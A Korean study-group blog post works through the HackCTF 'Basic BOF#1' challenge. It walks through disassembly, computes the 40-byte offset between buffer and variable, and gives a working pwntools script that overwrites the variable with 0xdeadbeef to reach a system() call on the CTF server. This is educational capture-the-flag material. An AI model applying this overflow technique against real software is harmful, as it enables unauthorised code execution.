스터디 그룹/ProjectH4C

ProjectH4C 3개월 1주차 과제(HackCTF - Basic BOF#1)

 

📖 1) 문제 파악

우선, 입력된 값과, 그 값과 관련된 메모리 주소를 출력해주는 것 같다.

 

아직 잘 모르겠으니 gdb와 IDA를 통해 분석해보자.

 

코드가 그리 길지는 않다. 그래도 중요한 부분만 따로 보자.

 


 

📖 2)문제 분석

   0x080484dc <+17>:	mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:	mov    eax,ds:0x804a040
   0x080484e8 <+29>:	sub    esp,0x4
   0x080484eb <+32>:	push   eax
   0x080484ec <+33>:	push   0x2d
   0x080484ee <+35>:	lea    eax,[ebp-0x34]
   0x080484f1 <+38>:	push   eax
   0x080484f2 <+39>:	call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:	add    esp,0x10
   0x080484fa <+47>:	sub    esp,0x8
   0x080484fd <+50>:	lea    eax,[ebp-0x34]
   0x08048500 <+53>:	push   eax
   0x08048501 <+54>:	push   0x8048610
   0x08048506 <+59>:	call   0x8048370 <printf@plt>
   0x0804850b <+64>:	add    esp,0x10
   0x0804850e <+67>:	sub    esp,0x8
   0x08048511 <+70>:	push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:	push   0x804861c
   0x08048519 <+78>:	call   0x8048370 <printf@plt>
   0x0804851e <+83>:	add    esp,0x10
   0x08048521 <+86>:	cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:	je     0x8048543 <main+120>
   0x0804852a <+95>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:	je     0x8048543 <main+120>
   0x08048533 <+104>:	sub    esp,0xc
   0x08048536 <+107>:	push   0x8048628
   0x0804853b <+112>:	call   0x8048390 <puts@plt>
   0x08048540 <+117>:	add    esp,0x10
   0x08048543 <+120>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:	jne    0x804857c <main+177>
   0x0804854c <+129>:	sub    esp,0xc
   0x0804854f <+132>:	push   0x8048644
   0x08048554 <+137>:	call   0x8048390 <puts@plt>
   0x08048559 <+142>:	add    esp,0x10
   0x0804855c <+145>:	sub    esp,0xc
   0x0804855f <+148>:	push   0x804866e
   0x08048564 <+153>:	call   0x80483a0 <system@plt>

0x080484dc 주소에서 [ebp-0xc]의 값에 0x4030201 값을 집어넣는다.

 

그리고 0x8048543에서 [ebp-0xC]와 0xdeadbeef 를 비교한다. 

JNE 명령어는 Jump Not Equal 명령어이다. 즉, 두 값이 같지 않다면 <main+177>로 점프가 된다.

 

그러니 우리는 먼저 [ebp-0xC]와 0xdeadbeef의 값을 같게 해줘야 한다.

 

하지만 그 방법이 무엇인지 모르겠다. 그래서 IDA를 켜서 좀 더 쉽게 보도록 하자.

 

킹갓 IDA를 통해 분석해보자. (gdb를 통해 분석하는 능력도 키워야 하는데 정말 문제이다.)

 

우선 지역변수는 가장 끝에서부터 스택으로, 거꾸로 자라게 된다.

즉 처음에 선언된 변수는 나중에 선언된 변수보다 메모리 주소가 크다는 소리이다.

 

우선 s라는 배열은 EBP기준 [EBP-34]에 위치한다.

그리고 v5값은 [EBP-C]에 위치한다.

 

0x34 - 0xC는 0x28이다. 이것을 10진수로 표현하면 40이다.

즉, s 주소와 v5주소 사이에는 40바이트가 존재한다는 소리이다.

그래서 IDA에서는 S를 40바이트 짜리 문자열로 인식한 것 같다.

 

하지만, 7번째 줄에서 s에 45byte를 받아주는 것이 보인다. 만약 40byte 넘게 입력하게 된다면, BOF가 발생할 것이다.

 

그래서 이렇게 40글자 이상을 입력하게 된다면 You are on the right way!를 출력해주는 것 같다.

(매우 친절하시다 ...)

 

그럼 우리는 pwntools를 이용하여 코딩해보자.


📖 3) 문제 풀이

우선, "A"를 40Byte 덮어주고, 0xdeadbeef를 덮어준다면, v5에는 0xdeadbeef가 들어갈 것이다.

 

그래서 payload를 먼저 작성해주어야 한다.

payload = "A" * 40 + "\xef\xbe\xad\xde"

이렇게 되줘야 한다. p32함수를 사용하면 그 안의 값을 32비트 리틀 엔디언 형식으로 변환해준다.

이것을 이용하는게 좀 더 괜찮을 것 같다.

payload = "A" * 40
payload += p32(0xdeadbeef)

이렇게 !!

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3000)

payload = "A"*40 + "\xef\xbe\xad\xde"

p.sendline(payload)
p.interactive()

이것이 완성 코드이다.


📖 4) 문제 해결, 느낀 점

 

그렇다 풀었다.

 

아직 나는 엄청 많이 부족하다. 기본적인 pwntools 사용법 조차도 몰라서 힘들어한다.

 

얼른 하루에 한 문제씩, 금토일은 두 세 문제씩 풀면서 연습하도록 하자.